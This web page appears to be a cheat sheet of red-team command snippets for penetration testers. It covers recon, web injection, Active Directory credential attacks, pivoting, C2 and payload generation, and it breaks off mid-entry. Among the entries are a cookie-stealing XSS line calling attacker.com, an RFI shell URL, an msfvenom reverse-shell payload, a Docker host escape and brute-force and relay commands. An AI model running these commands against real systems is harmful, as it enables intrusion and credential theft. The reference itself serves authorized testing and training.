Skip to content

Red Team Commands

251 curated command snippets for security professionals

Quick Filters:
ReconNetworkNmap

Nmap - Top 1000 TCP

Default scripts and service detection on common ports.

nmap -sC -sV -oN nmap.txt <target>
ReconNetworkNmap

Nmap - All TCP ports

Full TCP sweep.

nmap -p- -T4 -oN nmap-all.txt <target>
ReconNetworkNmap

Nmap - UDP Top 100

Fast UDP reconnaissance.

nmap -sU --top-ports 100 -oN nmap-udp.txt <target>
ReconNetworkNaabu

Naabu - Quick ports

ProjectDiscovery port scan.

naabu -host <target> -p - | tee ports.txt
ReconWebhttpx

httpx - Probe live hosts

Web probe with status, title, and tech.

cat hosts.txt | httpx -status-code -title -tech-detect -o alive.txt
WebDiscoveryFFUF

ffuf - Directory brute force

Discover hidden paths.

ffuf -u https://<host>/FUZZ -w /path/wordlist.txt -fc 404 -o ffuf.json
WebDiscoverydirsearch

dirsearch - Content discovery

Fast content discovery.

dirsearch -u https://<host> -e php,aspx,js -x 403,404
OSINTWebWayback

waybackurls - Archived paths

Enumerate archived URLs.

echo <domain> | waybackurls | tee urls.txt
OSINTWebgau

gau - Gather URLs

Collect historical URLs.

echo <domain> | gau --subs | tee urls.txt
OSINTReconAmass

amass - Passive subdomains

Passive subdomain enumeration.

amass enum -passive -d <domain> -o subs.txt
OSINTReconSubfinder

subfinder - Subdomains

Fast passive subdomain discovery.

subfinder -d <domain> -all -silent | tee subs.txt
WebScanningNuclei

Nuclei - CVE templates

Template-based vuln checks.

nuclei -l urls.txt -t cves/ -o nuclei-cves.txt
WebScanningNikto

Nikto - Web scanner

Identify common misconfigs.

nikto -h https://<host> -ssl -o nikto.txt
ReconWebWappalyzer

Wappalyzer - CLI

Identify technologies.

wappalyzer https://<host>
ReconWebwhatweb

whatweb - Fingerprint

Website fingerprinting.

whatweb https://<host>
WebSQLisqlmap

sqlmap - Test parameter

Automated SQL injection.

sqlmap -u 'https://<host>/item?id=1' --batch --risk=2 --level=2
WebProxyBurp

Burp Suite - Proxy CA

Set up interception for web testing.

# Import Burp CA into browser to intercept TLS
WebCMSWPScan

wpscan - WordPress

WordPress enumeration.

wpscan --url https://<host> --enumerate u,vt,tt --api-token <token>
WebCMSJoomla

joomscan - Joomla!

Joomla scanner.

joomscan -u https://<host>
WebCMSDrupal

droopescan - Drupal

Drupal scanner.

droopescan scan drupal -u https://<host>
PasswordsCrackingHashcat

Hashcat - NTLM mask brute

NTLM cracking with an 8-character mask attack in an authorized lab.

hashcat -m 1000 hashes.txt ?a?a?a?a?a?a?a?a -O
PasswordsCrackingHashcat

Hashcat - Rules attack

Smart candidate generation via rules.

hashcat -m 0 hashes.txt rockyou.txt -r rules/best64.rule -O
PasswordsCrackingJohn

John - Single crack

John the Ripper single crack mode.

john --single --format=NT hashes.txt
WindowsADKerberos

Kerbrute - User enum

Enumerate AD users via Kerberos in an authorized test.

kerbrute userenum --dc <dc-ip> -d <domain> users.txt
WindowsADKerberos

Rubeus - Kerberoast

Request service tickets for SPNs in an authorized assessment.

Rubeus.exe kerberoast /nowrap
WindowsCredsAudit

Windows - LSASS protection check

Check whether LSASS is configured as a protected process.

reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
WindowsADBloodHound

SharpHound - Collect

Collect AD data for BloodHound in an authorized environment.

SharpHound.exe -c All
NetworkPoisonResponder

Responder - Analyze only

Analyze LLMNR/NBT-NS/mDNS traffic without poisoning.

responder -I eth0 -A
WindowsSMBImpacket

Impacket - psexec

Execute commands over SMB with valid authorization.

psexec.py <domain>/<user>:<pass>@<target>
WindowsSprayNetExec

NetExec - Spray audit

Authorized password spray validation across SMB using NetExec.

nxc smb <subnet> -u users.txt -p 'Winter2026!' --continue-on-success
WindowsShellWinRM

Evil-WinRM - Shell

WinRM shell access with valid credentials.

evil-winrm -i <ip> -u <user> -p <pass>
ExploitMetasploitModules

Metasploit - Search

Search modules from CLI.

msfconsole -q -x 'search type:exploit name:<term>; exit'
C2MetasploitHandler

Metasploit - Handler

Start a payload handler in a lab or approved assessment.

use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <ip>; set LPORT 4444; run
ExploitDatabaseEDB

searchsploit - Query

Search Exploit-DB locally.

searchsploit <software> <version>
LinuxPrivEscEnum

Linux - SUID find

Find SUID binaries for privilege review.

find / -perm -4000 -type f 2>/dev/null
LinuxPrivEscEnum

Linux - Capabilities

Enumerate Linux file capabilities.

getcap -r / 2>/dev/null
LinuxPrivEscEnum

LinPEAS - Privesc

Automated Linux privilege review in an authorized environment.

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
WindowsPrivEscEnum

Windows - Unquoted services

Identify unquoted service paths.

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v '"' 
WindowsPrivEscAudit

Seatbelt - Host audit

Run Windows host configuration checks.

Seatbelt.exe -group=system
WirelessWi-FiAircrack

Aircrack-ng - Monitor mode

Enable monitor mode on wireless interface.

airmon-ng start wlan0
WirelessWi-FiAircrack

Aircrack-ng - Capture handshake

Capture WPA handshake.

airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0mon
WirelessWi-FiCracking

Aircrack-ng - Crack WPA

Crack WPA using wordlist.

aircrack-ng -w rockyou.txt -b <AP_MAC> capture*.cap
NetworkCaptureWireshark

Wireshark - CLI capture

Capture packets with tshark.

tshark -i eth0 -w capture.pcap
NetworkCapturetcpdump

tcpdump - Capture to file

Packet capture with tcpdump.

tcpdump -i eth0 -w capture.pcap
NetworkMitMBettercap

Bettercap - ARP spoof

ARP spoofing and sniffing.

bettercap -iface eth0 -eval 'set arp.spoof.targets <target>; arp.spoof on; net.sniff on'
NetworkPacketScapy

Scapy - Packet craft

Interactive packet manipulation (Python).

scapy
AuthBruteHydra

Hydra - SSH brute

Brute force SSH credentials.

hydra -l <user> -P passwords.txt ssh://<target>
WebBruteHydra

Hydra - HTTP POST

Brute force web login.

hydra -l <user> -P passwords.txt <target> http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect'
WebBurpIntruder

Burp Intruder - Position

Mark injection points in Burp Suite.

# Use Burp Intruder with §markers§ for payloads
WebXSSPayload

XSS - Basic payload

Simple XSS proof of concept.

<script>alert(document.domain)</script>
WebXSSPayload

XSS - Steal cookies

Exfiltrate cookies via XSS.

<script>fetch('https://attacker.com/?c='+document.cookie)</script>
WebSQLiPayload

SQLi - Union query

Extract data via SQL injection.

' UNION SELECT null,username,password FROM users--
WebSQLiPayload

SQLi - Error-based

Trigger error messages for enumeration.

' AND 1=convert(int,(SELECT @@version))--
CloudSSRFAWS

SSRF - AWS metadata

Access AWS instance metadata.

http://169.254.169.254/latest/meta-data/
CloudAWSEnum

AWS CLI - List S3 buckets

Enumerate S3 buckets.

aws s3 ls --profile <profile>
CloudAWSS3

AWS CLI - Public bucket check

Test for public S3 access.

aws s3 ls s3://<bucket> --no-sign-request
CloudKubernetesEnum

kubectl - List pods

List all pods in all namespaces.

kubectl get pods -A
CloudKubernetesShell

kubectl - Exec into pod

Interactive shell in pod.

kubectl exec -it <pod-name> -n <namespace> -- /bin/bash
ContainersDockerEnum

Docker - Escape check

Check if inside a container.

cat /proc/1/cgroup | grep docker
ContainersDockerEscape

Docker - Mount host

Mount host filesystem in container.

docker run -v /:/host -it ubuntu chroot /host
CloudAzureEnum

Azure CLI - List VMs

Enumerate Azure VMs.

az vm list --output table
CloudGCPEnum

GCP - List projects

List GCP projects.

gcloud projects list
CloudAWSFramework

Pacu - AWS exploit

AWS exploitation framework.

pacu
CloudAuditScoutSuite

ScoutSuite - Cloud audit

Multi-cloud security audit.

scout aws --profile <profile>
DFIRMemoryVolatility

Volatility 3 - Image info

Identify Windows memory image metadata.

vol -f memory.dmp windows.info
DFIRMemoryVolatility

Volatility 3 - List processes

List running processes from a Windows memory image.

vol -f memory.dmp windows.pslist.PsList
DFIRForensicsAutopsy

Autopsy - Timeline

Launch Autopsy GUI for disk analysis.

autopsy
DFIRForensicsFTK

FTK Imager - Acquire

Create bit-by-bit disk images.

# Use FTK Imager GUI to create forensic images
DFIRForensicsdd

dd - Disk image

Create a raw disk image while preserving read progress.

dd if=/dev/sda of=disk.img bs=4M status=progress conv=noerror,sync
REFirmwarebinwalk

binwalk - Extract firmware

Extract embedded files from firmware.

binwalk -e firmware.bin
REAnalysisstrings

strings - Extract text

Find printable strings in binary.

strings -n 10 binary | less
REDynamicltrace

ltrace - Library calls

Trace library calls.

ltrace ./binary
REDynamicstrace

strace - System calls

Trace system calls.

strace ./binary
REStaticGhidra

Ghidra - Decompile

Static analysis with Ghidra.

# Import binary into Ghidra and run analysis
REStaticradare2

radare2 - Disassemble

Disassemble and analyze binary.

r2 -A binary
REStaticobjdump

objdump - Disasm section

Disassemble with objdump.

objdump -d -M intel binary
MobileAndroidADB

ADB - List devices

List connected Android devices.

adb devices
MobileAndroidADB

ADB - Pull APK

Locate and extract an APK from a test device.

adb shell pm path <package> && adb pull <apk-path>
MobileAndroidapktool

apktool - Decompile APK

Decompile APK resources.

apktool d app.apk
MobileAndroidFrida

Frida - Trace Android

Trace Android method calls in a lab app.

frida-trace -U -f <package> -i '*decrypt*'
MobileRuntimeobjection

objection - Mobile explore

Runtime instrumentation for mobile app testing.

objection -g <app-or-package> explore
PivotingSSHTunnel

SSH - Local port forward

Forward remote port to local.

ssh -L 8080:localhost:80 user@remote
PivotingSSHSOCKS

SSH - Dynamic SOCKS

Create SOCKS proxy via SSH.

ssh -D 9050 user@remote
PivotingTunnelChisel

Chisel - Reverse tunnel

Start a reverse-capable tunnel server.

chisel server -p 8080 --reverse
PivotingTunnelsocat

socat - Port relay

Relay traffic between ports.

socat TCP-LISTEN:8080,fork TCP:<target>:80
PivotingSOCKSproxychains

proxychains - Route through SOCKS

Route tools through a SOCKS proxy.

proxychains4 nmap -sT -Pn <target>
PivotingTunnelLigolo

Ligolo-ng - Start proxy

Start the Ligolo-ng proxy with a self-signed certificate for lab pivoting.

ligolo-proxy -selfcert
C2Post-ExEmpire

Empire - Server

Start the Empire server in a lab environment.

./ps-empire server
C2Post-ExMythic

Mythic - Start

Start Mythic for authorized adversary emulation labs.

sudo ./mythic-cli start
PhishingSimulationGophish

Gophish - Start server

Launch Gophish for approved phishing simulations.

gophish
PhishingTrainingSET

SET - Training lab

Use Social Engineering Toolkit in an isolated training lab.

setoolkit
PhishingMitMEvilginx

Evilginx - Awareness lab

Run an approved awareness lab for MFA-resistant phishing risk education.

evilginx -p ./phishlets
ExfilDNSDetection

DNS egress - Canary check

Validate DNS egress monitoring with an owned canary domain.

nslookup $(whoami).<canary-domain>
ShellNetcatLab

Netcat - Listener test

Start a listener for connectivity testing in an isolated lab.

nc -lvnp 4444
WindowsDownloadPowerShell

PowerShell - Download test

Test Windows download telemetry with a benign file.

powershell -NoProfile -Command "Invoke-WebRequest https://example.com/file.txt -OutFile file.txt"
WindowsDownloadLOL

certutil - Download telemetry

Validate alerting on certutil network transfer behavior.

certutil -urlcache -f https://example.com/file.txt file.txt
WindowsDownloadLOL

bitsadmin - Download telemetry

Validate alerting on BITS transfer behavior.

bitsadmin /transfer testjob https://example.com/file.txt C:\temp\file.txt
WindowsExecutionLOL

mshta - Execution telemetry

Validate controls and telemetry for mshta execution.

mshta.exe about:blank
WindowsExecutionLOL

regsvr32 - Execution telemetry

Validate monitoring for regsvr32 usage before testing advanced scenarios.

regsvr32.exe /?
LinuxPersistenceCron

Cron - Persistence audit

Review cron persistence locations.

crontab -l 2>/dev/null; ls -la /etc/cron.* /var/spool/cron 2>/dev/null
LinuxPersistenceSystemd

Systemd - Service audit

Review enabled Linux services.

systemctl list-unit-files --type=service --state=enabled
WindowsPersistenceRegistry

Registry - Run key audit

Review user Run key persistence entries.

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
WindowsPersistenceTasks

Scheduled Task - Audit

Review scheduled tasks for suspicious persistence.

schtasks /query /fo LIST /v
WindowsPersistenceWMI

WMI - Event subscription audit

Review WMI event subscriptions.

Get-CimInstance -Namespace root/subscription -ClassName __EventFilter
WindowsCredsLaZagne

LaZagne - Lab validation

Validate stored-credential exposure in an authorized lab profile.

laZagne.exe browsers
WindowsCredsImpacket

Secretsdump - Authorized audit

Validate credential exposure with explicit authorization.

secretsdump.py <domain>/<user>:<pass>@<target>
WindowsLateralImpacket

PsExec - Authorized remote exec

Remote command execution with valid authorization.

psexec.py <domain>/<user>:<pass>@<target> cmd.exe
WindowsLateralImpacket

WMIExec - Authorized remote exec

Execute via WMI with valid authorization.

wmiexec.py <domain>/<user>:<pass>@<target>
WindowsLateralImpacket

SMBExec - Authorized remote exec

Execute via SMB with valid authorization.

smbexec.py <domain>/<user>:<pass>@<target>
WindowsEnumRPC

rpcclient - Enum users

Enumerate domain users where null sessions are intentionally exposed for testing.

rpcclient -U '' -N <target> -c 'enumdomusers'
WindowsEnumSMB

enum4linux-ng - Full enum

Comprehensive SMB enumeration using the maintained enum4linux-ng fork.

enum4linux-ng -A <target>
WindowsEnumSMB

smbclient - List shares

List SMB shares.

smbclient -L //<target> -N
WindowsEnumSMB

smbmap - Enum shares

Enumerate SMB share permissions.

smbmap -H <target>
WindowsADBloodHound

BloodHound - Ingest data

Analyze AD and Entra ID attack paths.

# Import SharpHound or AzureHound data into BloodHound
ReconScanningMasscan

Masscan - Internet scan

High-speed port scanner.

masscan -p80,443 0.0.0.0/0 --rate 10000
OSINTShodanRecon

Shodan - CLI search

Search Shodan from CLI.

shodan search 'product:apache'
OSINTRecontheHarvester

theHarvester - Email enum

Gather emails and subdomains.

theHarvester -d <domain> -b all
OSINTReconRecon-ng

Recon-ng - Workspace

OSINT reconnaissance framework.

recon-ng -w <workspace>
OSINTReconSpiderFoot

SpiderFoot - Auto OSINT

Automated OSINT collection.

spiderfoot -s <target>
ReconDNSDNSRecon

DNSRecon - Full enum

Comprehensive DNS enumeration.

dnsrecon -d <domain> -t axfr,brt,srv,std
ReconDNSFierce

Fierce - DNS brute

DNS reconnaissance and brute force.

fierce --domain <domain>
ReconDNSdig

dig - AXFR attempt

Attempt zone transfer.

dig axfr @<nameserver> <domain>
ReconDNSnslookup

nslookup - Reverse lookup

Reverse DNS lookup.

nslookup <ip>
OSINTReconwhois

whois - Domain info

Query domain registration info.

whois <domain>
WindowsADLDAP

LDAP - Anonymous bind

Anonymous LDAP enumeration.

ldapsearch -x -H ldap://<target> -b 'dc=domain,dc=com'
WindowsADLDAP

ldapdomaindump - Extract AD

Dump AD via LDAP.

ldapdomaindump -u '<domain>\<user>' -p <pass> <dc-ip>
WindowsADSysinternals

ADExplorer - Snapshot

Offline AD browsing.

# Create AD snapshot in ADExplorer GUI
WindowsADPowerView

PowerView - Get users

Enumerate AD users.

powershell -c "Import-Module .\PowerView.ps1; Get-DomainUser"
WindowsADPowerView

PowerView - Find shares

Find accessible shares.

powershell -c "Import-Module .\PowerView.ps1; Invoke-ShareFinder"
WindowsADKerberos

Invoke-Kerberoast

Kerberoast attack.

powershell -c "Import-Module .\PowerView.ps1; Invoke-Kerberoast -OutputFormat Hashcat"
WindowsADKerberos

AS-REP Roast

AS-REP roasting for users without preauth.

GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <dc-ip>
WindowsADDelegation

Constrained delegation

Abuse constrained delegation.

getST.py -spn <service>/<host> -impersonate Administrator <domain>/<user>:<pass>
WindowsADDCShadow

DCShadow - Register

Advanced AD persistence.

# Use mimikatz DCShadow to register rogue DC
WindowsRelayNTLM

NTLM relay - responder + ntlmrelayx

Relay NTLM auth to targets.

ntlmrelayx.py -tf targets.txt -smb2support
WindowsCoercionCoercer

Coercer - Force auth

Coerce authentication from target.

coercer -u <user> -p <pass> -d <domain> -t <target> -l <listener>
WindowsCoercionPetitPotam

PetitPotam - Coerce

EFSRPC coercion.

PetitPotam.py <listener> <target>
WindowsCoercionPrinterBug

PrinterBug - Coerce

Printer bug coercion.

printerbug.py <domain>/<user>:<pass>@<target> <listener>
WindowsADCertipy

certipy - Find vuln templates

Find vulnerable AD CS templates.

certipy find -u <user>@<domain> -p <pass> -dc-ip <dc-ip> -vulnerable
WindowsADCertify

Certify - Enum templates

Enumerate AD CS vulnerabilities.

Certify.exe find /vulnerable
WebInjectionCommix

Commix - Command injection

Automated command injection.

commix --url='http://<target>/page?param=1'
WebNoSQLInjection

NoSQLMap - NoSQL injection

NoSQL injection testing.

nosqlmap -t http://<target> -p param
WebXXEInjection

XXEinjector - XXE

XXE exploitation.

xxeinjector --host=<target> --path=/ --file=xml.xml --oob=http --phpfilter
WebSSTIInjection

tplmap - SSTI

Server-side template injection.

tplmap -u 'http://<target>?name=*'
WebDiscoveryArjun

Arjun - Param discovery

HTTP parameter discovery.

arjun -u https://<target>
WebDiscoveryParamSpider

ParamSpider - URL params

Mine parameters from archives.

paramspider -d <domain>
WebXSSDalfox

Dalfox - XSS scanner

Fast XSS scanner.

dalfox url https://<target>?param=test
WebXSSXSStrike

XSStrike - XSS

Advanced XSS detection.

xsstrike -u 'http://<target>?param=1'
WebJWTAuth

JWT_Tool - Analyze token

Test JWT security.

jwt_tool <token>
WebGraphQLAPI

GraphQL - Introspection

Query GraphQL schema.

curl -X POST https://<target>/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}'
WebAPIPostman

Postman - API test

API development and testing.

# Use Postman for API testing
WebAPISwagger

Swagger - API docs

Discover API documentation.

# Access /swagger or /api-docs endpoint
WebCORSTesting

CORS - Test config

Test CORS configuration.

curl -H "Origin: https://evil.com" https://<target> -I
WebCSRFPoC

CSRF - PoC

CSRF proof of concept.

<form action="https://<target>/action" method="POST"><input type="hidden" name="param" value="value"/></form><script>document.forms[0].submit()</script>
WebClickjackingPoC

Clickjacking - PoC

Clickjacking test.

<iframe src="https://<target>" style="opacity:0.1;position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
WebSSRFBypass

SSRF - Bypass localhost

SSRF localhost bypass techniques.

http://127.0.0.1/ or http://[::1]/ or http://localhost.attacker.com
WebLFIFiles

LFI - /etc/passwd

Local file inclusion test.

../../../etc/passwd
WebLFIPHP

LFI - PHP filter

Extract PHP source via filter.

php://filter/convert.base64-encode/resource=index.php
WebRFIFiles

RFI - Remote include

Remote file inclusion.

http://attacker.com/shell.txt
WebUploadBypass

File upload - Bypass extension

Bypass upload filters.

shell.php.jpg or shell.phtml or .htaccess tricks
WebUploadPolyglot

Polyglot file

Bypass content-type validation.

# Create file valid as multiple types (JPEG + PHP)
WebDeserializationPHP

Deserialization - PHP

PHP object injection.

O:8:"stdClass":1:{s:4:"test";s:4:"pwnd";}
WebDeserializationJava

Java deserialization - ysoserial

Generate Java gadget chains.

java -jar ysoserial.jar CommonsCollections5 'calc'
WebLDAPInjection

LDAP injection

LDAP injection payload.

*)(&(password=*) or *)(cn=*
WebXXEDoS

XML bomb

XML entity expansion DoS.

<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;">]><lolz>&lol2;</lolz>
EncodingObfuscationBase64

Base64 encode

Encode a string in base64.

echo -n 'payload' | base64
EncodingObfuscationBase64

Base64 decode

Decode base64.

echo 'cGF5bG9hZA==' | base64 -d
EncodingBypassURL

URL encode

URL encoding for request normalization testing.

# Use %20 for space, %3C for <, etc.
EncodingBypassUnicode

Unicode encode

Unicode encoding for parser normalization testing.

# Use \u0061 for 'a', etc.
EncodingBypassHTML

HTML entities

HTML entity encoding.

&lt;script&gt; for <script>
WindowsPowerShellDetection

PowerShell - Encoded command audit

Review PowerShell telemetry before testing encoded-command detections.

Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20
WindowsPowerShellDownload

PowerShell - Download telemetry

Validate benign download telemetry.

powershell -NoProfile -Command "Invoke-WebRequest https://example.com/file.txt -OutFile file.txt"
WindowsEvasionAMSI

AMSI - Status check

Check Microsoft Defender and AMSI-adjacent protection status.

Get-MpComputerStatus | Select-Object AMServiceEnabled,AntivirusEnabled,RealTimeProtectionEnabled
WindowsObfuscationPowerShell

Invoke-Obfuscation - Lab only

Generate obfuscation samples for approved detection testing.

# Use Invoke-Obfuscation in an isolated detection engineering lab
EvasionShellcodeDonut

Donut - Shellcode lab

Generate position-independent code in an isolated lab.

donut -f <exe> -o shellcode.bin
EvasionAVVeil

Veil - Lab validation

Use only in an isolated malware-detection validation lab.

veil
EvasionInjectionShellter

Shellter - Lab validation

Use only in an isolated malware-detection validation lab.

shellter
PayloadsMetasploitmsfvenom

msfvenom - Payload lab

Generate a payload for an isolated authorized lab.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o payload.exe
PayloadsEncodingmsfvenom

msfvenom - Encoder lab

Test encoder-related detection behavior in a lab.

msfvenom -p <payload> -e x86/shikata_ga_nai -i 3
C2Cobalt StrikeBeacon

Cobalt Strike - Profile review

Prepare beacon-profile testing in an approved environment.

# Review approved Malleable C2 profiles before lab use
C2SliverImplant

Sliver - Implant lab

Start Sliver for authorized implant testing in an isolated lab.

sliver-server
C2Redirectorsocat

C2 redirector - socat lab

Build a simple redirector in a lab network.

socat TCP4-LISTEN:8080,fork TCP4:<lab-server>:8080
C2EvasionFronting

Domain fronting - Control review

Review whether CDN and proxy policy blocks domain-fronting patterns.

# Confirm CDN and egress controls before any domain-fronting test
C2TunnelDNS

DNS tunneling - Detection lab

Validate DNS tunneling detections with an owned domain in a lab.

dnscat2-server <owned-domain>
C2TunnelICMP

ICMP tunnel - Detection lab

Validate ICMP tunnel detections in a lab.

ptunnel -p <proxy> -lp <lport> -da <dest> -dp <dport>
C2EvasionMalleable

HTTP/S beacon - Profile review

Confirm monitoring coverage for C2-like HTTP patterns.

# Review approved beacon profiles and proxy logs
WindowsLOLDetection

Living off the land - LOLBAS

Map built-in Windows binary behavior to detections.

# Review LOLBAS entries for detection engineering
WindowsEvasionLogs

PowerShell - Operational log audit

Review PowerShell operational logging coverage.

Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 50
WindowsEvasionDefender

Windows Defender - Exclusion audit

Audit configured Defender exclusions.

Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
WindowsBypassAppLocker

AppLocker - Policy audit

Review effective AppLocker policy.

Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
WindowsInjectionDetection

Process injection - ATT&CK

Use ATT&CK to scope process injection detection coverage.

# Review ATT&CK T1055 and map detections
WindowsInjectionHollowing

Process hollowing - Detection

Map process hollowing behavior to telemetry.

# Hunt for suspicious image loads, parent-child chains, and memory anomalies
WindowsInjectionDLL

Reflective DLL injection - Research

Understand reflective DLL loading for defensive coverage.

# Review technique details before writing lab detections
WindowsInjectionAPC

APC injection - Detection

Review APC queue injection telemetry.

# Hunt for QueueUserAPC and unusual thread start behavior
WindowsInjectionThread

Thread hijacking - Detection

Review thread hijacking telemetry.

# Hunt for suspicious SuspendThread/SetThreadContext/ResumeThread sequences
WindowsInjectionPE

PE injection - Detection

Review manual mapping and PE injection telemetry.

# Hunt for private executable memory and abnormal module loads
WindowsEvasionPPID

Parent PID spoofing - Detection

Review parent process spoofing detections.

# Compare process creation logs against expected parent-child relationships
WindowsPrivilegeToken

Token impersonation - Audit

Review token-related privileges on Windows hosts.

whoami /priv
WindowsPrivilegeToken

Token duplication - Detection

Map token duplication behavior to detections.

# Hunt for DuplicateTokenEx and unusual privileged process access
WindowsPrivilegeDebug

SeDebugPrivilege - Audit

Check whether the current token has debug privilege.

whoami /priv | findstr /i SeDebugPrivilege
WindowsCredentialslsass

Credential dumping - Protection check

Check whether LSASS protection is enabled.

reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
WindowsCredentialsSAM

SAM database - Access audit

Review permissions on the SAM hive file.

icacls C:\Windows\System32\config\SAM
WindowsCredentialsDPAPI

DPAPI - Audit

Review DPAPI master key locations for an authorized account.

dir %APPDATA%\Microsoft\Protect /a
WindowsCredentialsBrowser

Browser creds - Policy audit

Audit browser credential storage exposure.

# Review browser password-manager and enterprise policy settings
WindowsCredentialsVault

Vault creds - Audit

List Windows Vaults visible to the current user.

VaultCmd.exe /list
ContainersEscapeDocker

Docker - Privileged container audit

Identify privileged containers.

docker ps --format '{{.ID}} {{.Names}}' | while read id name; do docker inspect --format '{{.HostConfig.Privileged}} {{.Name}}' $id; done
ContainersEscapeDocker

Docker - Host mount audit

Review host mounts exposed to a container.

docker inspect <container> --format '{{json .Mounts}}'
ContainersK8sPrivesc

Kubernetes - Service account audit

Review service accounts across namespaces.

kubectl get serviceaccounts -A
ContainersK8sEscape

Kubernetes - HostPath audit

Find pods using hostPath volumes.

kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"	"}{.spec.volumes[*].hostPath.path}{"
"}{end}'
ContainersK8sExec

Kubernetes - Exec into pod

Open a shell in a pod with authorization.

kubectl exec -it <pod> -n <namespace> -- /bin/bash
ContainersCapabilitiesAudit

Container - Capabilities audit

Review Linux capabilities available in a container.

capsh --print
CloudAWSSSRF

Cloud - AWS IMDSv2 check

Check whether metadata access is reachable from an authorized test host.

curl -s -o /dev/null -w '%{http_code}
' http://169.254.169.254/latest/meta-data/
CloudAzureMetadata

Cloud - Azure metadata

Query Azure metadata from an authorized test host.

curl -H Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
CloudGCPMetadata

Cloud - GCP metadata

Query GCP metadata from an authorized test host.

curl 'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' -H 'Metadata-Flavor: Google'
CloudAWSS3

Cloud - S3 bucket enum

List public S3 bucket contents when testing owned or authorized buckets.

aws s3 ls s3://<bucket> --no-sign-request
SecretsGitTruffleHog

Git - Search secrets

Find verified secrets in Git history.

trufflehog git https://github.com/org/repo --only-verified
SecretsGitGitleaks

Git - Gitleaks

Detect secrets in Git repos.

gitleaks detect --source . -v
SecretsGitHubDorking

GitHub - Secret search

Review GitHub code search results for exposed secrets in authorized repos.

# Search: org:target token OR password OR secret
SecretsENVFiles

ENV files - Search

Find local environment files during source review.

find . -name ".env*" -type f -not -path "*/node_modules/*"
SecretsTerraformIaC

Terraform - State file audit

Review Terraform state resources and confirm state storage is protected.

terraform state list
SecretsAnsibleVault

Ansible - Vault check

View encrypted Ansible Vault content with authorization.

ansible-vault view vault.yml
CI/CDJenkinsSecrets

CI/CD - Jenkins audit

Audit Jenkins administrative risk areas.

# Review Jenkins credentials scope, script console access, and plugin health
CI/CDGitLabSecrets

CI/CD - GitLab CI audit

Find secret exposure and branch protection gaps.

# Review .gitlab-ci.yml and protected CI/CD variables
CI/CDGitHubSecrets

CI/CD - GitHub Actions audit

Review workflows and repository secrets.

gh workflow list && gh secret list
CI/CDPipelineAudit

CI/CD - Pipeline review

Identify common CI/CD pipeline abuse paths.

# Review untrusted pull_request_target, writable tokens, and third-party actions
SupplyDependenciesConfusion

Supply chain - Dependency confusion review

Assess dependency confusion exposure without publishing packages.

# Compare internal package names against public registries
SupplyNPMAudit

NPM - Package audit

Review vulnerable npm dependencies.

npm audit --audit-level=moderate
SupplyPyPIAudit

PyPI - Package audit

Audit Python dependencies for known vulnerabilities.

pip-audit
APIRateLimitAudit

API - Rate limit review

Validate API rate limiting without bypass guidance.

# Confirm per-user, per-token, and per-IP rate limits with approved test cases
APIExploitMassAssignment

API - Mass assignment test

Check whether unexpected properties are ignored or rejected.

# POST {"unexpectedProperty": true} to a test endpoint
APIIDORExploit

API - IDOR test

Test object-level authorization with approved accounts.

# Compare authorized access to /api/resource/<owned-id> vs <unowned-id>
APIGraphQLBatching

API - GraphQL batching review

Validate GraphQL batching controls.

# Test batching against documented rate limits in a staging tenant
WebCachePoisoning

Cache poisoning - Header review

Check whether untrusted headers influence cacheable responses.

curl -I -H 'X-Forwarded-Host: example.com' https://<target>
WebCachePoisoning

Cache poisoning - Unkeyed header audit

Review unkeyed header behavior safely.

# Compare cache keys and response variance across forwarded headers
WebSmugglingHTTP

HTTP request smuggling - CL.TE review

Validate CL.TE request smuggling exposure.

# Use a dedicated scanner in an approved staging environment
WebSmugglingHTTP

HTTP request smuggling - TE.CL review

Validate TE.CL request smuggling exposure.

# Use a dedicated scanner in an approved staging environment
WebSmugglingHTTP2

HTTP/2 - Request smuggling review

Review HTTP/2 downgrade smuggling risk.

# Confirm proxy downgrade behavior in staging
WebWebSocketCSRF

WebSocket - CSRF review

Review cross-site WebSocket hijacking risk.

# Confirm Origin checks and session binding on WebSocket handshakes
WebWebSocketInjection

WebSocket - Message schema test

Validate WebSocket message authorization and schema enforcement.

# Send {"unexpectedProperty":true} in staging
WebJSPollution

Prototype pollution - JS test

Test JavaScript prototype pollution in a controlled local lab.

__proto__.isAdmin = true
WebJSONPollution

Prototype pollution - JSON test

Test unsafe object merge behavior in a controlled local lab.

{"__proto__":{"isAdmin":true}}
WebNodePollution

Server-side prototype pollution

Assess server-side prototype pollution risk safely.

# Validate object merge and parser behavior in a local Node.js test app
WebRaceTOCTOU

Race condition - TOCTOU review

Review race condition exposure.

# Use staging traffic replay to test duplicate submissions and locking
WebRaceBurp

Race condition - Burp Repeater

Automated race condition testing with authorization.

# Use Burp's parallel send in an approved staging environment
WebLogicAbuse

Business logic - Discount review

Review discount and promotion abuse controls.

# Test coupon reuse rules with approved staging accounts
WebLogicAbuse

Business logic - Quantity review

Validate server-side input rules for quantities.

# POST {"qty": -1} to a staging endpoint
WebSSRFBlind

SSRF - Blind canary

Detect blind SSRF safely.

# Trigger DNS/HTTP callback to an owned canary domain in staging
WebSSRFCloud

SSRF - Cloud metadata control

